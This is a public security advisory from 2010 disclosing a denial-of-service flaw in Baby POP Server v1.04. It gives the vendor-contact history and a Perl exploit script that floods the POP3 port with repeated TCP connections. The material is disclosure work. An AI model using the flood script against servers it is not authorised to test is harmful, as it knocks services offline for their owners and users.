[DCA-0005] Baby POP Server DoS

[DCA-0005]

[Software]

• Baby POP Server

[Vendor Product Description]

• In the past I have done several projects related to e-mail
  (POP3/SMTP/IMAP4). One of the problems (at least in my company) is
  that there are never good test servers available. So that's why I
  decided to create this simple POP3 server, which doesn’t take many
  resources and supports most of the standard POP3 commands.

[Bug Description]

• The POP Server can't handle multiple/simultaneous connections
  leading to Denial-of-Service

[History]

• Advisory sent to vendor on 06/14/2010.
• No response from vendor
• Public advisory & exploit 08/02/2010.

[Impact]

• Low

[Affected Version]

• Baby POP Server v1.04
• Prior versions may also be vulnerable

[Code]

#!/usr/bin/perl
use IO::Socket;

    if (@ARGV < 1) {
            usage();
    }

    $ip     = $ARGV[0];
    $port   = $ARGV[1];
    $conn   = $ARGV[2];

    $num    = 0;

    print "[+] Sending request...\n";

    while ( $num <= $conn ) {
            system("echo -n .");
            $s = IO::Socket::INET->new(Proto => "tcp", PeerAddr =>

"$ip", PeerPort => "$port") || die "[-] Connection FAILED!\n";

    close($s);
    $num++;
    }

    print "\n[+] Done!\n";

sub usage() {
print "[-] Usage: <". $0 ."> <host> <port> <num-conn>\n";
print "[-] Example: ". $0 ." 127.0.0.1 110 1200\n";
exit;
}

[Credits]

Rodrigo Escobar (ipax)
Pentester/Researcher Security Team @ DcLabs
http://www.dclabs.com.br

[Greetz]
Crash and all Dclabs members.

–
Rodrigo Escobar (ipax)
Pentester/Researcher Security Team @ DcLabs
http://www.dclabs.com.br